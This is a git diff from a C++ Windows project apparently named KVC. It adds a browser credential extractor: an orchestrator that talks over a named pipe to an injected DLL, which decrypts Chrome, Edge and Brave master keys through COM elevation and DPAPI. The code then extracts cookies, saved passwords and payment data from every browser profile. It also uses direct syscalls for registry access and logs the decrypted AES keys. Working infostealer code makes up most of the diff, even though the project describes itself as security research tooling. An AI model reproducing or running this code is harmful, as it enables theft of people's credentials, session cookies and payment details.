<< L" all - Extract from all installed browsers\n\n"
<< L"Required files:\n"
<< L" kvc_crypt.dll - Security module (same directory)\n"
<< L" winsqlite3.dll - SQLite library (system32) or sqlite3.dll fallback\n";
ResetColor();
}
void Console::Info(const std::string& msg) const { print("[*]", msg, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
void Console::Success(const std::string& msg) const { print("[+]", msg, FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
void Console::Error(const std::string& msg) const { print("[-]", msg, FOREGROUND_RED | FOREGROUND_INTENSITY); }
void Console::Warn(const std::string& msg) const { print("[!]", msg, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
void Console::Debug(const std::string& msg) const
{
if (m_verbose)
print("[#]", msg, FOREGROUND_RED | FOREGROUND_GREEN);
}
void Console::Relay(const std::string& message) const
{
size_t tagStart = message.find('[');
size_t tagEnd = message.find(']', tagStart);
if (tagStart != std::string::npos && tagEnd != std::string::npos)
{
std::cout << message.substr(0, tagStart);
std::string tag = message.substr(tagStart, tagEnd - tagStart + 1);
WORD color = m_originalAttributes;
if (tag == "[+]") color = FOREGROUND_GREEN | FOREGROUND_INTENSITY;
else if (tag == "[-]") color = FOREGROUND_RED | FOREGROUND_INTENSITY;
else if (tag == "[*]") color = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
else if (tag == "[!]") color = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
SetColor(color);
std::cout << tag;
ResetColor();
std::cout << message.substr(tagEnd + 1) << std::endl;
}
else
{
std::cout << message << std::endl;
}
}
void Console::print(const std::string& tag, const std::string& msg, WORD color) const
{
SetColor(color);
std::cout << tag;
ResetColor();
std::cout << " " << msg << std::endl;
}
void Console::SetColor(WORD attributes) const noexcept { SetConsoleTextAttribute(m_hConsole, attributes); }
void Console::ResetColor() const noexcept { SetConsoleTextAttribute(m_hConsole, m_originalAttributes); }
// PipeCommunicator implementation
PipeCommunicator::PipeCommunicator(const std::wstring& pipeName, const Console& console)
: m_pipeName(pipeName), m_console(console) {}
void PipeCommunicator::create()
{
m_pipeHandle.reset(CreateNamedPipeW(m_pipeName.c_str(), PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
1, 4096, 4096, 0, nullptr));
if (!m_pipeHandle)
throw std::runtime_error("CreateNamedPipeW failed. Error: " + std::to_string(GetLastError()));
m_console.Debug("Named pipe server created: " + Utils::WStringToUtf8(m_pipeName));
}
void PipeCommunicator::waitForClient()
{
m_console.Debug("Waiting for security module to connect to named pipe.");
if (!ConnectNamedPipe(m_pipeHandle.get(), nullptr) && GetLastError() != ERROR_PIPE_CONNECTED)
throw std::runtime_error("ConnectNamedPipe failed. Error: " + std::to_string(GetLastError()));
m_console.Debug("Security module connected to named pipe.");
}
void PipeCommunicator::sendInitialData(bool isVerbose, const fs::path& outputPath, const std::vector<uint8_t>& edgeDpapiKey)
{
writeMessage(isVerbose ? "VERBOSE_TRUE" : "VERBOSE_FALSE");
writeMessage(Utils::path_to_api_string(outputPath));
// Send DPAPI key as hex string (or "NONE" if empty)
if (!edgeDpapiKey.empty())
{
std::ostringstream oss;
oss << std::hex << std::setfill('0');
for (uint8_t byte : edgeDpapiKey)
oss << std::setw(2) << static_cast<int>(byte);
writeMessage("DPAPI_KEY:" + oss.str());
}
else
{
writeMessage("DPAPI_KEY:NONE");
}
}
void PipeCommunicator::relayMessages()
{
m_console.Debug("Waiting for security module execution. (Pipe: " + Utils::WStringToUtf8(m_pipeName) + ")");
if (m_console.m_verbose)
std::cout << std::endl;
const std::string moduleCompletionSignal = "__DLL_PIPE_COMPLETION_SIGNAL__";
DWORD startTime = GetTickCount();
std::string accumulatedData;
char buffer[4096];
bool completed = false;
while (!completed && (GetTickCount() - startTime < MODULE_COMPLETION_TIMEOUT_MS))
{
DWORD bytesAvailable = 0;
if (!PeekNamedPipe(m_pipeHandle.get(), nullptr, 0, nullptr, &bytesAvailable, nullptr))
{
if (GetLastError() == ERROR_BROKEN_PIPE)
break;
m_console.Error("PeekNamedPipe failed. Error: " + std::to_string(GetLastError()));
break;
}
if (bytesAvailable == 0)
{
Sleep(100);
continue;
}
DWORD bytesRead = 0;
if (!ReadFile(m_pipeHandle.get(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
{
if (GetLastError() == ERROR_BROKEN_PIPE)
break;
continue;
}
accumulatedData.append(buffer, bytesRead);
size_t messageStart = 0;
size_t nullPos;
while ((nullPos = accumulatedData.find('\0', messageStart)) != std::string::npos)
{
std::string message = accumulatedData.substr(messageStart, nullPos - messageStart);
messageStart = nullPos + 1;
if (message == moduleCompletionSignal)
{
m_console.Debug("Security module completion signal received.");
completed = true;
break;
}
parseExtractionMessage(message);
if (!message.empty() && m_console.m_verbose)
m_console.Relay(message);
}
if (completed)
break;
accumulatedData.erase(0, messageStart);
}
if (m_console.m_verbose)
std::cout << std::endl;
m_console.Debug("Security module signaled completion or pipe interaction ended.");
}
void PipeCommunicator::writeMessage(const std::string& msg)
{
DWORD bytesWritten = 0;
if (!WriteFile(m_pipeHandle.get(), msg.c_str(), static_cast<DWORD>(msg.length() + 1), &bytesWritten, nullptr) ||
bytesWritten != (msg.length() + 1))
throw std::runtime_error("WriteFile to pipe failed for message: " + msg);
m_console.Debug("Sent message to pipe: " + msg);
}
void PipeCommunicator::parseExtractionMessage(const std::string& message)
{
auto extractNumber = [&message](const std::string& prefix, const std::string& suffix) -> int
{
size_t start = message.find(prefix);
if (start == std::string::npos) return 0;
start += prefix.length();
size_t end = message.find(suffix, start);
if (end == std::string::npos) return 0;
try {
return std::stoi(message.substr(start, end - start));
}
catch (...) {
return 0;
}
};
if (message.find("Found ") != std::string::npos && message.find("profile(s)") != std::string::npos)
m_stats.profileCount = extractNumber("Found ", " profile(s)");
if (message.find("Decrypted AES Key: ") != std::string::npos)
m_stats.aesKey = message.substr(message.find("Decrypted AES Key: ") + 19);
if (message.find(" cookies extracted to ") != std::string::npos)
m_stats.totalCookies += extractNumber("[*] ", " cookies");
if (message.find(" passwords extracted to ") != std::string::npos)
m_stats.totalPasswords += extractNumber("[*] ", " passwords");
if (message.find(" payments extracted to ") != std::string::npos)
m_stats.totalPayments += extractNumber("[*] ", " payments");
}
// BrowserPathResolver implementation
BrowserPathResolver::BrowserPathResolver(const Console& console) : m_console(console) {}
std::wstring BrowserPathResolver::resolve(const std::wstring& browserExeName)
{
m_console.Debug("Searching Registry for: " + Utils::WStringToUtf8(browserExeName));
const std::wstring registryPaths[] = {
L"\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName,
L"\\Registry\\Machine\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName
};
for (const auto& regPath : registryPaths)
{
std::wstring path = queryRegistryDefaultValue(regPath);
if (!path.empty() && fs::exists(path))
{
m_console.Debug("Found at: " + Utils::WStringToUtf8(path));
return path;
}
}
m_console.Debug("Not found in Registry");
return L"";
}
std::vector<std::pair<std::wstring, std::wstring>> BrowserPathResolver::findAllInstalledBrowsers()
{
std::vector<std::pair<std::wstring, std::wstring>> installedBrowsers;
const std::pair<std::wstring, std::wstring> supportedBrowsers[] = {
{L"chrome", L"chrome.exe"},
{L"edge", L"msedge.exe"},
{L"brave", L"brave.exe"}
};
m_console.Debug("Enumerating installed browsers...");
for (const auto& [browserType, exeName] : supportedBrowsers)
{
std::wstring path = resolve(exeName);
if (!path.empty())
{
installedBrowsers.push_back({browserType, path});
m_console.Debug("Found " + Utils::Capitalize(Utils::WStringToUtf8(browserType)) +
" at: " + Utils::WStringToUtf8(path));
}
}
if (installedBrowsers.empty())
m_console.Warn("No supported browsers found installed on this system");
else
m_console.Debug("Found " + std::to_string(installedBrowsers.size()) + " browser(s) to process");
return installedBrowsers;
}
std::wstring BrowserPathResolver::queryRegistryDefaultValue(const std::wstring& keyPath)
{
std::vector<wchar_t> pathBuffer(keyPath.begin(), keyPath.end());
pathBuffer.push_back(L'\0');
UNICODE_STRING_SYSCALLS keyName;
keyName.Buffer = pathBuffer.data();
keyName.Length = static_cast<USHORT>(keyPath.length() * sizeof(wchar_t));
keyName.MaximumLength = static_cast<USHORT>(pathBuffer.size() * sizeof(wchar_t));
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, &keyName, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
HANDLE hKey = nullptr;
NTSTATUS status = NtOpenKey_syscall(&hKey, KEY_READ, &objAttr);
if (!NT_SUCCESS(status))
{
if (status != (NTSTATUS)0xC0000034) // STATUS_OBJECT_NAME_NOT_FOUND
m_console.Debug("Registry access failed: " + Utils::NtStatusToString(status));
return L"";
}
// RAII guard for key handle
struct KeyGuard {
HANDLE h;
~KeyGuard() { if (h) NtClose_syscall(h); }
} keyGuard{hKey};
UNICODE_STRING_SYSCALLS valueName = {0, 0, nullptr};
ULONG bufferSize = 4096;
std::vector<BYTE> buffer(bufferSize);
ULONG resultLength = 0;
status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation,
buffer.data(), bufferSize, &resultLength);
if (status == STATUS_BUFFER_TOO_SMALL || status == STATUS_BUFFER_OVERFLOW)
{
buffer.resize(resultLength);
bufferSize = resultLength;
status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation,
buffer.data(), bufferSize, &resultLength);
}
if (!NT_SUCCESS(status))
return L"";
auto kvpi = reinterpret_cast<PKEY_VALUE_PARTIAL_INFORMATION>(buffer.data());
if (kvpi->Type != REG_SZ && kvpi->Type != REG_EXPAND_SZ)
return L"";
if (kvpi->DataLength < sizeof(wchar_t) * 2)
return L"";
size_t charCount = kvpi->DataLength / sizeof(wchar_t);
std::wstring path(reinterpret_cast<wchar_t*>(kvpi->Data), charCount);
while (!path.empty() && path.back() == L'\0')
path.pop_back();
if (path.empty())
return L"";
if (kvpi->Type == REG_EXPAND_SZ)
{
std::vector<wchar_t> expanded(MAX_PATH * 2);
DWORD size = ExpandEnvironmentStringsW(path.c_str(), expanded.data(),
static_cast<DWORD>(expanded.size()));
if (size > 0 && size <= expanded.size())
path = std::wstring(expanded.data());
}
return path;
}

112
kvc/CommunicationLayer.h Normal file
View File

@@ -0,0 +1,112 @@
// CommunicationLayer.h - Console output and inter-process communication
#ifndef COMMUNICATION_LAYER_H
#define COMMUNICATION_LAYER_H
#include <Windows.h>
#include <filesystem>
#include <string>
#include <vector>
#include <sstream>
namespace fs = std::filesystem;
// Utility functions for string and path operations
namespace Utils
{
std::string u8string_to_string(const std::u8string& u8str) noexcept;
std::string path_to_api_string(const fs::path& path);
fs::path GetLocalAppDataPath();
std::string WStringToUtf8(std::wstring_view w_sv);
std::string PtrToHexStr(const void* ptr) noexcept;
std::string NtStatusToString(NTSTATUS status) noexcept;
std::wstring GenerateUniquePipeName();
std::string Capitalize(const std::string& str);
}
// Manages console output with colored messages
class Console
{
public:
explicit Console(bool verbose);
void displayBanner() const;
void printUsage() const;
void Info(const std::string& msg) const;
void Success(const std::string& msg) const;
void Error(const std::string& msg) const;
void Warn(const std::string& msg) const;
void Debug(const std::string& msg) const;
void Relay(const std::string& message) const;
bool m_verbose;
private:
void print(const std::string& tag, const std::string& msg, WORD color) const;
void SetColor(WORD attributes) const noexcept;
void ResetColor() const noexcept;
HANDLE m_hConsole;
WORD m_originalAttributes;
};
// Handles named pipe communication with injected module
class PipeCommunicator
{
public:
struct ExtractionStats
{
int totalCookies = 0;
int totalPasswords = 0;
int totalPayments = 0;
int profileCount = 0;
std::string aesKey;
};
PipeCommunicator(const std::wstring& pipeName, const Console& console);
void create();
void waitForClient();
void sendInitialData(bool isVerbose, const fs::path& outputPath, const std::vector<uint8_t>& edgeDpapiKey = {});
void relayMessages();
const ExtractionStats& getStats() const noexcept { return m_stats; }
const std::wstring& getName() const noexcept { return m_pipeName; }
private:
// RAII wrapper for pipe handle
struct PipeDeleter
{
void operator()(HANDLE h) const noexcept
{
if (h != INVALID_HANDLE_VALUE)
CloseHandle(h);
}
};
using UniquePipe = std::unique_ptr<void, PipeDeleter>;
void writeMessage(const std::string& msg);
void parseExtractionMessage(const std::string& message);
std::wstring m_pipeName;
const Console& m_console;
UniquePipe m_pipeHandle;
ExtractionStats m_stats;
};
// Resolves browser installation paths via Registry
class BrowserPathResolver
{
public:
explicit BrowserPathResolver(const Console& console);
std::wstring resolve(const std::wstring& browserExeName);
std::vector<std::pair<std::wstring, std::wstring>> findAllInstalledBrowsers();
private:
std::wstring queryRegistryDefaultValue(const std::wstring& keyPath);
const Console& m_console;
};
#endif // COMMUNICATION_LAYER_H

103
kvc/CommunicationModule.cpp Normal file
View File

@@ -0,0 +1,103 @@
// CommunicationModule.cpp - Pipe communication and utility functions
#include "CommunicationModule.h"
#include <ShlObj.h>
#include <Wincrypt.h>
#pragma comment(lib, "Crypt32.lib")
namespace SecurityComponents
{
namespace Utils
{
// Retrieves Local AppData path
fs::path GetLocalAppDataPath()
{
PWSTR path = nullptr;
if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path)))
{
fs::path result = path;
CoTaskMemFree(path);
return result;
}
throw std::runtime_error("Failed to get Local AppData path.");
}
// Decodes Base64 string into byte vector
std::optional<std::vector<uint8_t>> Base64Decode(const std::string& input)
{
DWORD size = 0;
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr))
return std::nullopt;
std::vector<uint8_t> data(size);
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr))
return std::nullopt;
return data;
}
// Converts byte array to hex string
std::string BytesToHexString(const std::vector<uint8_t>& bytes)
{
std::ostringstream oss;
oss << std::hex << std::setfill('0');
for (uint8_t byte : bytes)
oss << std::setw(2) << static_cast<int>(byte);
return oss.str();
}
// Escapes JSON special characters
std::string EscapeJson(const std::string& s)
{
std::ostringstream o;
for (char c : s)
{
switch (c)
{
case '"': o << "\\\""; break;
case '\\': o << "\\\\"; break;
case '\b': o << "\\b"; break;
case '\f': o << "\\f"; break;
case '\n': o << "\\n"; break;
case '\r': o << "\\r"; break;
case '\t': o << "\\t"; break;
default:
if ('\x00' <= c && c <= '\x1f')
{
o << "\\u" << std::hex << std::setw(4) << std::setfill('0') << static_cast<int>(c);
}
else
{
o << c;
}
}
}
return o.str();
}
}
// PipeLogger implementation
PipeLogger::PipeLogger(LPCWSTR pipeName)
{
m_pipe = CreateFileW(pipeName, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);
}
PipeLogger::~PipeLogger()
{
if (m_pipe != INVALID_HANDLE_VALUE)
{
Log("__DLL_PIPE_COMPLETION_SIGNAL__");
FlushFileBuffers(m_pipe);
CloseHandle(m_pipe);
}
}
void PipeLogger::Log(const std::string& message)
{
if (isValid())
{
DWORD bytesWritten = 0;
WriteFile(m_pipe, message.c_str(), static_cast<DWORD>(message.length() + 1), &bytesWritten, nullptr);
}
}
}

58
kvc/CommunicationModule.h Normal file
View File

@@ -0,0 +1,58 @@
// CommunicationModule.h - Inter-process communication and utilities
#ifndef COMMUNICATION_MODULE_H
#define COMMUNICATION_MODULE_H
#include <Windows.h>
#include <string>
#include <vector>
#include <optional>
#include <filesystem>
#include <sstream>
#include <iomanip>
namespace fs = std::filesystem;
// String utility functions for internal module use
namespace StringUtils
{
inline std::string path_to_string(const fs::path& path)
{
return path.string();
}
}
namespace SecurityComponents
{
// Utility functions for encoding and formatting
namespace Utils
{
// Retrieves Local AppData directory path
fs::path GetLocalAppDataPath();
// Decodes Base64 encoded string
std::optional<std::vector<uint8_t>> Base64Decode(const std::string& input);
// Converts bytes to hexadecimal string
std::string BytesToHexString(const std::vector<uint8_t>& bytes);
// Escapes special characters for JSON serialization
std::string EscapeJson(const std::string& s);
}
// Manages named pipe communication with orchestrator
class PipeLogger
{
public:
explicit PipeLogger(LPCWSTR pipeName);
~PipeLogger();
bool isValid() const noexcept { return m_pipe != INVALID_HANDLE_VALUE; }
void Log(const std::string& message);
HANDLE getHandle() const noexcept { return m_pipe; }
private:
HANDLE m_pipe = INVALID_HANDLE_VALUE;
};
}
#endif // COMMUNICATION_MODULE_H

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// ControllerBinaryManager.cpp - Fixed compilation issues
#include "Controller.h"
#include "common.h"

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// ControllerCore.cpp
#include "Controller.h"
#include "common.h"

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// ControllerDriverManager.cpp
#include "Controller.h"
#include "common.h"

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include "Controller.h"
#include "common.h"

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// ControllerMemoryOperations.cpp
#include "Controller.h"
#include "common.h"

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include "Controller.h"
#include "ReportExporter.h"
#include "common.h"

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// ControllerProcessOperations.cpp
#include "Controller.h"
#include "common.h"

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// ControllerSystemIntegration.cpp
#include "Controller.h"
#include "common.h"

232
kvc/CryptCore.cpp Normal file
View File

@@ -0,0 +1,232 @@
// CryptCore.cpp - Security module entry point and workflow coordination
// Implements split-key strategy for Edge: COM for cookies/payments, DPAPI for passwords
#include "CryptCore.h"
#include "BrowserCrypto.h"
#include "DataExtraction.h"
#include "CommunicationModule.h"
#include "SelfLoader.h"
#include <memory>
#include <stdexcept>
namespace SecurityComponents
{
// Initializes security orchestrator and establishes pipe communication
SecurityOrchestrator::SecurityOrchestrator(LPCWSTR lpcwstrPipeName)
{
m_logger.emplace(lpcwstrPipeName);
if (!m_logger->isValid())
{
throw std::runtime_error("Failed to connect to named pipe from orchestrator.");
}
ReadPipeParameters();
}
// Main execution workflow: decrypt keys, enumerate profiles, extract data
void SecurityOrchestrator::Run()
{
BrowserManager browserManager;
const auto& browserConfig = browserManager.getConfig();
m_logger->Log("[*] Security analysis process started for " + browserConfig.name);
std::vector<uint8_t> comKey, dpapiKey;
fs::path localStatePath = browserManager.getUserDataRoot() / "Local State";
// Edge requires split-key strategy: different keys for different data types
if (browserConfig.name == "Edge")
{
m_logger->Log("[*] Initializing split-phase strategy for Edge");
// Phase 1: COM elevation for cookies and payment data
try {
m_logger->Log("[*] Phase 1: COM extraction (cookies/payments)");
MasterKeyDecryptor comDecryptor(*m_logger);
comKey = comDecryptor.Decrypt(browserConfig, localStatePath, DataType::Cookies);
m_logger->Log("[+] COM key acquired: " + Utils::BytesToHexString(comKey));
} catch (const std::exception& e) {
m_logger->Log("[-] COM key acquisition failed: " + std::string(e.what()));
throw;
}
// Phase 2: Use pre-decrypted DPAPI key from orchestrator for passwords
if (!m_edgeDpapiKey.empty())
{
m_logger->Log("[*] Phase 2: Using pre-decrypted DPAPI key from orchestrator");
dpapiKey = m_edgeDpapiKey;
m_logger->Log("[+] DPAPI key ready: " + Utils::BytesToHexString(dpapiKey));
}
else
{
m_logger->Log("[-] No DPAPI key available - Edge passwords will not be extracted");
dpapiKey = comKey;
}
}
else
{
// Chrome/Brave use single COM-elevated key for all data types
m_logger->Log("[*] Initializing single-key strategy for " + browserConfig.name);
MasterKeyDecryptor keyDecryptor(*m_logger);
comKey = keyDecryptor.Decrypt(browserConfig, localStatePath, DataType::All);
dpapiKey = comKey;
m_logger->Log("[+] Single COM key: " + Utils::BytesToHexString(comKey));
}
// Enumerate all browser profiles
ProfileEnumerator enumerator(browserManager.getUserDataRoot(), *m_logger);
auto profilePaths = enumerator.FindProfiles();
m_logger->Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s)");
// Extract data from each profile
for (const auto& profilePath : profilePaths)
{
m_logger->Log("[*] Processing profile: " + StringUtils::path_to_string(profilePath.filename()));
for (const auto& dataConfig : Data::GetExtractionConfigs())
{
// Select appropriate key based on data type and browser
const std::vector<uint8_t>* extractionKey = &comKey;
std::string keyType = "COM";
if (browserConfig.name == "Edge" && dataConfig.outputFileName == "passwords")
{
extractionKey = &dpapiKey;
keyType = "DPAPI";
}
m_logger->Log("[*] Using " + keyType + " key for " + dataConfig.outputFileName + " extraction");
try {
DataExtractor extractor(profilePath, dataConfig, *extractionKey, *m_logger,
m_outputPath, browserConfig.name);
extractor.Extract();
} catch (const std::exception& e) {
m_logger->Log("[-] Extraction failed for " + dataConfig.outputFileName + ": " +
std::string(e.what()));
}
}
}
m_logger->Log("[*] Security analysis process finished successfully");
}
// Reads configuration parameters from orchestrator via named pipe
void SecurityOrchestrator::ReadPipeParameters()
{
char buffer[1024] = {0};
DWORD bytesRead = 0;
// Read verbose flag
if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
{
m_logger->Log("[-] Failed to read verbose flag from pipe");
return;
}
// Read output path
memset(buffer, 0, sizeof(buffer));
if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
{
m_logger->Log("[-] Failed to read output path from pipe");
return;
}
buffer[bytesRead] = '\0';
m_outputPath = buffer;
m_logger->Log("[*] Output path configured: " + StringUtils::path_to_string(m_outputPath));
// Read DPAPI key (Edge only)
memset(buffer, 0, sizeof(buffer));
if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
{
m_logger->Log("[-] Failed to read DPAPI key from pipe");
return;
}
buffer[bytesRead] = '\0';
// Parse DPAPI key message
try {
std::string dpapiKeyMsg(buffer);
if (dpapiKeyMsg.find("DPAPI_KEY:") == 0)
{
std::string hexKey = dpapiKeyMsg.substr(10);
if (hexKey != "NONE" && hexKey.length() >= 64)
{
m_edgeDpapiKey.resize(32);
for (size_t i = 0; i < 32; ++i)
{
std::string byteStr = hexKey.substr(i * 2, 2);
unsigned long byte = std::stoul(byteStr, nullptr, 16);
m_edgeDpapiKey[i] = static_cast<uint8_t>(byte);
}
m_logger->Log("[+] Received pre-decrypted DPAPI key from orchestrator: " +
std::to_string(m_edgeDpapiKey.size()) + " bytes");
}
else
{
m_logger->Log("[*] No DPAPI key from orchestrator");
}
}
else
{
m_logger->Log("[-] Invalid DPAPI key message format");
}
}
catch (const std::exception& e)
{
m_logger->Log("[-] Exception parsing DPAPI key: " + std::string(e.what()));
}
}
}
// Security module worker thread entry point
DWORD WINAPI SecurityModuleWorker(LPVOID lpParam)
{
auto thread_params = std::unique_ptr<ModuleThreadParams>(static_cast<ModuleThreadParams*>(lpParam));
try
{
SecurityComponents::SecurityOrchestrator orchestrator(
static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
